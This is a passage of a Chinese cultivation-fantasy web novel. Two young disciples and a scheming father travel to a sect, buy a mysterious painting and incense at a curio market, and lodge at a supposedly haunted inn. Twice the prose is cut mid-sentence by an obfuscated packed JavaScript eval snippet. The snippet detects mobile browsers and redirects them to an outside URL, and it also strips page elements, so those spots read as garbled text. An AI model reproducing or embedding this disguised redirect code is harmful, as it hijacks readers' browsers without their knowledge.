“如今,我的宝贝女儿有了天大的出息,比爹争气,比你二叔更争气!我的心啊,高兴得不得了!爹多想也在你们身边沾沾光,也扬眉吐气做个人,让你奶奶好好看看,她终归还是要靠他大儿子这一脉!” 说罢,谢三求哽咽着拿袖子擦了擦眼睛。 两个小姑娘被打动了。 久安眼睛红红的,抱着谢老爹的胳膊轻轻晃,撒娇着表达自己的愧疚。 青禾则垂下双眼,轻叹一口气,从包袱里掏出手绢递给坐在车辕上父女俩。 久安求助似的,望向了好友。青禾回以肯定得微笑。 谢三求从袖缝中小心翼翼地窥视着两个小姑娘,见自己的卖惨记果然奏效,不由地得意非常。 哼,姜还是老的辣,两个小丫头片子还得多学学! 于是一行人坐着谢老爹赶的牛车,往外赶去。 天气晴朗,游人如织。 途径四季镇,青禾一行三人正遇上镇上开小集的日子。 谢三求笑道:“正好,你们头次拜访仙门,带些伴手礼才好。虽然都是些凡人俗物,但仙人见到你们俩这孱弱童子,知晓贫弱之处,想必会体谅三分。” “潮生门乃名门大派,其下弟子想必都是餐风饮露、修为高深之人,粮米油盐这些应是用不着,嗯,该选些什么呢?”路过一间间热闹非凡的店铺,青禾有些茫然。 “仙人不用五谷轮回,难道门下的凡人管事也不用?青禾,你忘了师母曾说潮生门下多招凡人协助。所谓拜山头,难过的是门房那一关,虽然不知道仙门是否也有看大门的,但准备一些也没错。”久安在旁说道,“我们可以准备些精致的糕点,上等的茶叶,用作孝敬。” “我们有师母的拜帖,难道也担心被人为难?”青禾有些好奇,从前家贫,田家未曾和什么富贵人家打过交道,便是谢家,也是拜师之后才熟悉起来的。没经历过门房的刁难,纵使在话本里知晓一二,换作现实来,依然难以想象。 “不管哪处的大家大户,道理都是一样的。狗眼看人低的下人,那是少不了的。我家这样算是乡绅吧,”久安清了清嗓子,语调上扬,略有得意,“陌生人想要拜访我爹,却不给门房孝敬,理都不理你呢,有拜帖又怎么,谁知道你是不是胡乱写的?” “家里主人日理万机,下人通报错了,打扰到主人,难免被叱责。给了钱,算是提前给的补偿,也说明来客有点身价,不是上门打秋风的无赖亲戚,而是确实有事。” 久安解释完,佯装老成,语重心长地拍了拍青禾的肩膀,“好师妹,尽管你修炼比我厉害,但在为人处世上,你还需要向师姐学习良多啊。” 青禾斜眼看好友得意非凡地上挑眉毛,心知对方又在趁此机会占自己便宜,肩膀一抖,将久安手甩下,轻哼一声,走到前头。 再探讨下去,谢大小姐非得逼迫着自己开口叫师姐才肯罢休,才不要呢。 谢老爹看着两个小姑娘的互动,在后面满意地哼哼哈哈笑起来。 准备好了给门房的孝敬,谢三求领着两人到了集市较为冷僻的东侧。 与之前摩肩接踵的盛况不同,此刻这条不过百来米的狭长街道,行人不过三五个,在两侧稀疏的摊位流连探看。 摊主并不热情,懒洋洋地歪倒在躺椅上,一副爱买不买的惫懒模样,只在客人询问时才有一搭没一搭地回上一句。 青禾仰头看着街道口伫立的牌坊,轻声念叨:“淘古集?” “爹,这是什么地方?带我们来这里干嘛?”久安问道。 谢老爹摸着自己下巴上短短的胡茬但笑不语,非要等久安反复追问了三四遍,才慢慢悠悠地回道:“之前还嫌弃老夫碍事,现在遇到难题了,还不得让我给你们解决?不是要给仙人带伴手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青禾总算知道这条街为什么人少了,寻常人家谁会花大价钱买一些不知道到底该怎么用的昂贵之物。而且她偷偷用灵视观察过,只有少许物件中有淡淡灵气缠绕,灵气稀薄得像是正明观里用废的法器。没准真就是哪家仙门的不肖弟子,手头紧,用一些不会伤害凡人的破旧玩意换钱。 她边看边腹诽,不知不觉便与谢家父女分散开。待她走到一位老妇人的摊子前,被一张残破的绢画吸引了目光。 这是一张笔法稚嫩的景物画,描绘着山林之间潺潺流水处,一只巨大、艳丽的鱼尾伸出水面。 山林、流水都用墨青的颜色表现,深深浅浅,印在有些泛黄的白绢布上。能看出笔墨的主人心思不在这上,只求写意神似,让看画的他人明白所描绘的地点。 只有位于画布中间的鱼尾,工笔细细勾勒轮廓,连其上层层叠叠的细微鳞片也耐心地一一画出。即使到如今画作已陈旧不堪,也仍能看出彼时画主在鱼尾上渲染的珍贵而绚丽的色彩。 深林游玩,偶遇仙迹。那破水而出的、不似凡物的巨大鱼尾,在半空带起一串串冰透、折射七彩光芒的水珠,泼洒于水面,泛起点点涟漪,涟漪相连,泛起心中永不停竭的波澜。 28. 画与香丸 绢画的四角已经残破不堪,被老妇人随意地放在一堆古籍之中。 此时,她看见青禾盯着绢画不放,很和蔼地笑了笑,没有商人的市侩,“小姑娘,你喜欢这幅画吗,你可以拿起来仔细看看。” 青禾看了看她,没有吱声也没有动作。 这只是一副普通的画作,没有蕴藏灵气,不是大家之作。能放在这淘古集里,恐怕是因为它有些年头,而鱼尾上的颜料明显贵重且少见。 但它不符合伴手礼的条件。 青禾没有很多钱,无力购买。倘若她告诉谢老爷,对方肯定很愿意为了讨好她而买下绢画,可她不愿意。 久安是她的至交,彼此之间互帮互助,欠些人情债,都是小事情。但青禾不愿意和久安的家庭,尤其是谢老爹牵扯过深。 谢三求不是个简单的人。他能屈能伸,处理事情软硬皆施,从他跑到田家结拜到死缠烂打跟着上路,做的种种事情,青禾一一看在眼里。 今日若欠下他的,来日他必将讨还。 老妇人看青禾没动作,以为她害羞,将绢画塞到她的手里说道:“没事,我不是那等小气人,你想看就看。” 柔软冰凉的布料触到肌肤,好似四季山山脚下那泓冰水涧清透的泉水从指间汩汩流过。 画中的景象忽然一跃而出,于是数不清的枝杈从青石板路的空隙破土而出,迅速长成遮天蔽日的巨木。从远处奔流而来的山泉淹没了青禾,她在水底向上望去,水纹的律动扰乱了射入眼睛的光芒,天空与山林的交界不断地被扭曲、重组,明暗交替下,摇曳着金色光芒的鱼尾从头顶游过,投下一片晦暗的阴影。 灵力自发地从丹田涌出,冲进识海,青禾身体一震,从幻象中挣脱出来。 心脏剧烈跳动,她下意识地捏紧手中的绢画,仔细打量。 仍旧是一副普通、没有任何灵气的凡画,那么刚才又是怎么回事呢? 温柔的阳光打在画布上,画中心的颜色好像明亮了一些,褪去了一小部分暗淡,有微弱的光芒从从鱼尾上一闪而过。 老妇人笑道:“孩子,看来你与它有缘。一文钱,你给我一文钱,这幅绢画就属于你的了。” 青禾有些惊讶地看着眼前这个满面慈祥的奶奶,脑中则迅速回忆起以前在村口听家长里短的时候,长辈们不断叮嘱年轻人不要贪便宜上当的话。 仙人跳?不对,没有美男诱惑,破旧的绢画也够不上美色。卖假货?不对,摊主也没说这是古物,再说一文钱有什么赚头。 到底是长久的修炼给了青禾试错的勇气,她道:“老板,你好心卖给我,我也不能让你亏本太多,嗯……”她翻了翻自己的荷包,数了数所剩无几的铜钱,讪讪地笑了笑,伸出手,“我给你五文钱吧。” 老妇人摆摆手:“不用,一文就好,我出摊这么多年,你是头一个对这画感兴趣的人。它呀,也算苦尽甘来,熬到头了。” 摊主从青禾手里拿走一文钱,心情颇好地开始收摊,“回家喽!” 硕大的包裹背在老妇人的身上,却没有压垮她的身姿,她脚步轻快地走向远方,逍遥自在,口中哼着不知名的小调,歌声徘徊在清风中,久久不曾散去。 “人生不相见,动如参与商……” 久安拍了拍青禾的肩膀,道:“发什么呆呢?”她看看好友手里破旧的绢画,并不在意:“怎么淘了个这么个东西?青禾,你快来,看看我爹发现了什么?” 青禾被拽着往后走,她小心地将绢画放到自己怀里,扭头回望,老妇人的身影早已消失不见,她摆摊过的位置只余下从泥土缝中挣扎长出的小小野花。 “您眼光真好,这香丸可不是用那等普通香料制成,乃极品之王,天下间除了我这里可再寻不到如此珍宝了。来,您仔细闻闻。”摊主将棕红色木盒凑近谢三求的鼻子,里面是数颗拇指大小,圆圆的黑色香丸。 “老爷,怎么样?是不是香味独特,远胜过普通货色?”摊主殷勤地问。 青禾和久安挤了过来,两个小姑娘也凑近,深深嗅闻了一番,俱是睁大了眼睛,彼此有些惊喜地互看。 真好闻。香气清淡不冲人,闻着有袅袅植物芳香,仔细品辨,却觉得似有若无间变换了风味,再难追寻前韵。 青禾低声道:“我还以为香丸这种东西,只是村里办丧事时点燃的浓烈呛人的味道……没想到还有这么好闻的。” 久安悄声回她:“是呀,我娘也买过其他的香薰,都没这个好闻,看来我们捡到宝了,拿这个送人肯定有面子。” “唔……”谢三求眯着眼深吸一口气,没有接着对方的话头说下去。他表情平和,没有任何诧异,甚至挑了挑一侧眉毛,露出一副“勉强凑合”的表情。 “休要聒噪,你当老爷我是没见识的乡下人吗。哼。”谢老爷露出一点不悦的表情。“天下香道鼎盛,各式香谱广发天下,名盛香品数不胜数。就你这样坐井观天的小贩才会寻到一味香丸,便奉为珍宝。” “要老爷我看,你这味香丸纵然好闻,也不过是胜于寻常店铺所售熏香一二。” “老爷休恼,小的怎有胆量欺瞒您呢?这样吧,小的看您是一方豪客,,给您试燃一份样品,您便能知晓它的好。” 摊主讨好地笑了笑,转而又哭丧着脸,委屈巴巴地小声抱怨:“小的这香丸,一分可值千金啊,燃烧的都是白花花的银子啊。若非老爷您来,寻常客人我才舍不得给他闻呢!” “好物只等贵人取,凡夫俗子哪里知晓其真味?” 摊主又看看眼巴巴在一旁望着的两个小姑娘,笑道:“两位贵小姐稍待。好事多磨哟,且看我透骨香一展神迹!” 随着他将香丸点燃,随着火光明灭,一股更清晰的香气扑面而来,余韵之悠长,引得远处其他摊位的人也不断在空气中轻嗅,窃窃私语讨论不知何处传来的清香。 “老爷、小姐,我这透骨香还有更神奇的一面呢,容小的展示给你们看!” 他拿起竹扇冲着香丸轻轻扇动,微风袭来,而白色烟气纹丝不动,依旧向上袅袅升起,没有偏离原先位置一毫。 “香可逆风。” 接着他手托香盒,缓缓移动,烟气随之变换,拖曳在香丸后,斜向上缥缈。 “这烟气飘而不散,可凭空作画。” 摊主手肘快速转动,以烟为笔,一只活灵活现的小兔子出现在空中。 “老爷,小姐,如何?” 两个小姑娘已经是心动非常,但知道要砍价决不能助长他人气势,于是眼神闪烁下仍旧闭口不言。 “你这香丸倒有点意思。不知以何香料为君,以何为臣?”谢三求问。 “这……老爷,恕小的无礼 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谢老爷心里翻了个白眼,自己奶嬷嬷创造的豆腐羹怎么可能没吃过,好吃是好吃,但也没什么惊奇。 “豆腐王初来青牛镇的时候还是母子俩,凭借着一手豆腐绝活安了家。虽然好吃,但不是没有其他家菜馆能与之竞争的。后来年长的母亲老死了,儿子独撑门户。” “可惜儿子手艺没有母亲厉害,比不过其他家,渐渐没落了。谁成想过了大半年,他在一家富户做菜的时候,突然大显身手。那菜肴香的啊,几公里外的狗都闻味儿跑过去了。” “自此他豆腐王的称号彻底立住了,无论其他竞争者怎么钻研,嘿,做得就是没他好吃。” “小人慕名去过青牛镇一次,想拜师学艺。可豆腐王傲得很,根本不收徒。然后……然后……”摊主开始吞吞吐吐起来。 谢老爷了然,掏出一块银子塞到他手里,揽住肩膀低声说:“好兄弟,我就是个听故事的过客,了解完了事情缘由,买了香丸就走。你到底做了什么与我有何干系?” 摊主掂量下手中银钱,喜笑颜开,“嗨,没什么大事,我实在好奇。趁豆腐王不在家,偷溜进去看看。我可没做坏事啊,就见到他屋子里有株植物奇奇怪怪的,折了它一片枝叶回来栽种。” “不得不说,豆腐王厉害,他家的草也不凡。有一次我无意间烧了片落叶,没想到气味及其好闻,我就拿来制作这透骨香了。” “所以,老爷,我可真不知道香草究竟是什么。不过我和家里人都试用了,对身体绝对无害,而且用多了还神清气爽呢!” 谢三求在心里琢磨等回家好好问问李家明,他对着摊主道:“你这怎么卖,有多少颗?” “老爷,这是最后一批了,家里的香草不知怎么枯萎了,以后想要再没了。嘿嘿,物以稀为贵,但我看老爷极其投缘,就十两一颗,一共十颗,一百两银子。您给银票?或者您有灵珠吗,那一颗就行。” 谢老爷面无表情:“我出十两,一共十两!” “哎嘿,价可不是您这样砍的?算了当交个朋友,九十两。” “二十两。” “真不行,小人赔本了,最少八十两了,不能再少了。” “三十两。” …… 29. 客栈 最终谢三求以五十两的价格拿下十颗透骨香,这让他有些得意,一直感叹自己宝刀未老,价杀四方。 他将香丸分成两份,一份自己拿着,一份让青禾拿着。 “为防万一,贵重物品要分开放好。青禾丫头稳重,不像安丫头毛毛躁躁,所以接下来要麻烦青禾你来保管。” 从淘古集出来,暮色已起,三人便打算在四季镇歇下,待明日再往青牛镇去。 “几位客官可要住店?小店住宿便宜,通铺单房皆有。通铺每人每晚十文,单房一间百文,咱家运来客栈是整个镇上最好最便宜的,这个价格,您绝对在别处找不到。” 手巾搭肩,身穿棕色短打的小二口齿伶俐地招呼道。 “看几位客人气质不凡,若您要开单房,小店给每房格外赠送一份上等茶点。” 青禾抬头打量着运来客栈。 店面整洁,门楣上挂着一套红青相间的八卦镜,配着黝黑的漆木,风格独特很好看。大门口左右各有一座雕刻精美、怒目圆睁的镇宅石狮,这倒是少见,很少有商铺客栈在门口放石狮子的。店伙计穿着干净,模样喜庆。看起来除了些许装饰上的奇怪,是个不错的客栈,就是冷清了些。 大堂内客人不过一桌,楼上两层住间,只有两户亮着灯,其余房间黑黝黝的,昏暝之中,冷不丁地瞧见,还有些吓人。 青禾在心里叹气,原本出发前师母为她们规划好了路线,有轻行符变化的纸牛坐骑相助,二人从清晨出发,日暮时分就能到达潮生门。到时,拜访、借宿都极为方便。 但总有意料之外,谢老爷的执意加入,改变了行程。现在只能听凭对方安排。 唯一能挣扎的则是尽量少花对方的钱,伴手礼则是无奈。 师母两袖清风,拿不出值钱的物件送出。而且她认为自己与故交情谊深厚,无需俗礼,便让两个徒儿携带一张拜贴就出发了。 路上谢老爷和久安一定要买礼物,少数服从多数,而且花的是谢家的钱,青禾能做的就是乖乖听话,把嘴闭上。 所以她现在一听到运来客栈的花费比其他客栈的要少,已经非常心动。 久安看了看不远处另一家灯火通明的客栈,道:“这家客栈生意如此之差,不会有什么猫腻吧,我们又不差钱,走,换一家!” 店小二着急,正要说话,却听路边有人插嘴道:“黄小二,你又忽悠外来的客人住你家,太不厚道了!老爷小姐们,莫要被骗,运来客栈闹过鬼!” 路过的男人身穿灰蓝色短打,右手挎着一只点心盒子,同样一副客栈小二的打扮。 “姓刘的,你胡说!” 刘小二不理他,笑着对青禾她们拱拱手道:“小人是前面福来客栈的伙计,给店内客人跑腿途径这里,实在看不惯姓黄那小子坑蒙拐骗,这才出言提醒客人……” 黄小二真急了,大跨步上前,一把推开他,立马转身面向谢三求躬身拱手道:“客人莫要误会,福来客栈一向与我家争夺客源,出言诋毁也是常用把戏……” “呵,那你倒是说说为何你家这么便宜,却这么冷清啊?”刘小二没有还手,护着点心盒子倒退几步,冷冷打断。 黄小二不自在地抿抿嘴,看到谢三求意图离开,赶忙解释道:“都是镇民以讹传讹。上个月有一行客人住店,想必是囊中羞涩,没有结账就匆匆离去。镇民没有见他们出来,就说他们是被鬼捉了去。如果运来客栈真闹鬼,掌柜的和我们几个伙计怎么到现在都没有出事?” “休要狡言!城门在戌时正刻关闭,难道她们能飞檐走壁?还有随身货物呢,我们都看见骡子驮进来的,也跟着一起消失,既然不是闹鬼,那就是黑店!” “你胡搅蛮缠!衙门都派人检查过了,不是我们的问题!知镇大人的客卿仙人同样表示无异样。都是你们四处造谣!才害得我家生意越来越不好!” 两人吵吵嚷嚷,争执不休。 “爹,我们换个地方住吧。”久安道。 谢三求看了女儿一眼,沉思不语。 纵然谢家家大业大,这段时间的花用也颇让人心疼。 谢久安拜师前,在洄水观的仙人那里花费了几百两银子,今天为了拜访潮生门又花了五十五两。其中五两花用在茶叶和糕点上,还有五十两在香丸上。 寻常人家若能和仙门扯上关系,是三生有幸,多少钱都愿意。 谢家自然也是,只不过随着久安的拜师成功,谢三求对仙门不像从前那般痴狂了。 具体表现在时不时出现的小气心肠,比方现在,他觉得伴手礼是不得不买,花费再多也值。但住宿方面似乎可以省一省? 他带着两个前途无量的小仙人自然不能和贫苦百姓一样去挤大通铺。但寻常单间一间便不下三百文,运来客栈的一百文一间的价格着实诱人。 唯一犯难的是闹鬼一说。凭借谢老爷的经验,真可能是运来客栈的竞争对手搞的鬼。自己能住这便宜客栈,久安的想法不用管,青禾呢,她会愿意吗,毕竟不是自己亲闺女,不好怠慢。 “谢伯伯,我们住运来客栈吧。能做知镇大人客卿的仙人修为肯定高深,仙人说没问题,一定安全。而且像这位黄小哥说的那样,一个月过去了,他们都没事,哪有妖鬼这么老实,吃过人肉还能忍一个月。” “再说了,我和久安也是修道之人,若因为一点流言就害怕退缩,叫同修听了笑话。” “是不是呀,久安?”青禾歪头,有些骄傲地看向好友。 “爹,青禾说得对,我们俩可是修士,哪里怕什么莫名其妙的谣言!若真有问题,哼哼,看我久安真人大杀四方,为民除害!” 谢三求就坡下驴,立马回道:“好!不愧是正明观真传弟子!有魄力!今晚我们就住运来客栈了!小二,开两间上房!” 黄小二喜笑颜开,恭维道:“原来是仙长!小的有眼不识泰山,望仙长们恕罪!仙长请放心,小人一定会服侍得妥妥帖帖!里面请!” 刘小二瞪圆了眼睛,见几人走了进去,才嘀咕道:“好言难劝该死的鬼!” 黄小二带着她们上了三楼。 “仙长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066045|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两间房视野最好,开窗便能看见前面街角那片水芙蓉,此时正值花期,又香又好看!” 青禾靠在窗边深深吸了口气,花香浓郁,的确好闻,等明天天亮,想必景色不错。 三人安顿了下行李,就下楼吃饭。青禾挺开心,客栈人少清净,正适合她在房间里继续修炼。 久安在床上打滚,舒服地长叹了口气,道:“这一路颠簸的,真是累死我了!” 她戳了戳一旁已经闭目盘膝准备运功的好友道:“青禾,不是吧,这么辛苦了,你还要在晚上练功。休息休息呗,我们还有很长时间呢。” “修行不怠,只争朝夕。”青禾轻声回道,她没有劝久安一起,知道好友没有休息够是不会修炼的。 “青禾,你说我爹真是的,非要跟来,给我们添多大麻烦。本来计划今晚就能到潮生门的……” “你别生气啊,青禾。我爹盼我有出息太久了,所以一到能显摆的时候,他就亢奋。等到了潮生门,我一定会好好约束他的,不让他再给咱俩添麻烦!” 久安用被角捂住嘴,忍不住吃吃的笑。 约束,多美好的词啊,用在老爹身上更高兴了。以前是爹管教女儿,现在终于有机会换过来了。她谢久安也要尝尝管教爹老子的滋味。 她正开心地幻想,听见青禾回应:“我不会生气。” 久安看见对方睁开眼,短暂收了功,对自己欲言又止。 “想说什么就说呗,咱们俩之间可没有吞吞吐吐哦!” “久安,谢伯伯以前是不是对你很严厉?我是说拜师之前。” “是有点啦,不过还好,我习惯了。而且嘛,他管我,我就一定要听吗,嘿嘿,我有的是办法阳奉阴违。怎么啦,突然问起这个?” “以前,我一直以为天下父母都是像我家那样相处。为生计奔波中,依然有对彼此的关爱,但……”青禾眼神复杂地看向好友,踌躇地说道:“我不是说谢伯伯对你不好,就是……就是我觉得有点不一样……” 她又慌忙道:“你别生气,久安。你知道,我是小家小户出来的孩子,见识不多,容易说错话。” “好啦,怎么又轮到你给我道歉啦。今晚是道歉夜吗?我们轮流忏悔?我知道你是真心实意地关心我,我不是好懒不分的人。” 久安安慰地拍了拍青禾的肩膀,道:“我明白你的意思,爹呢,肯定喜欢自己闺女的,就是大户人家表达的方式与众不同罢了。而且我过得很开心啊!哈哈哈,好啦,多愁善感的大善人,好好修炼吧,我还等着抱你大腿呢!我先睡了,晚安!” 青禾见久安不愿多说,不在追问。她看着好友侧躺的背部,回忆着拜访谢家时,秦大夫人漫不经心的表情;今日出发时,谢老爷的几次变脸;还有他面对久安以身犯险的评价,竟然是别让花费的功夫打了水漂。 沉默。 曾以为好友是天之娇女,接触越深才发觉越不一样的事实。 青禾闭上眼睛开始修炼,如果你的家人不能作为你的依靠,就让我成为你新的依靠吧。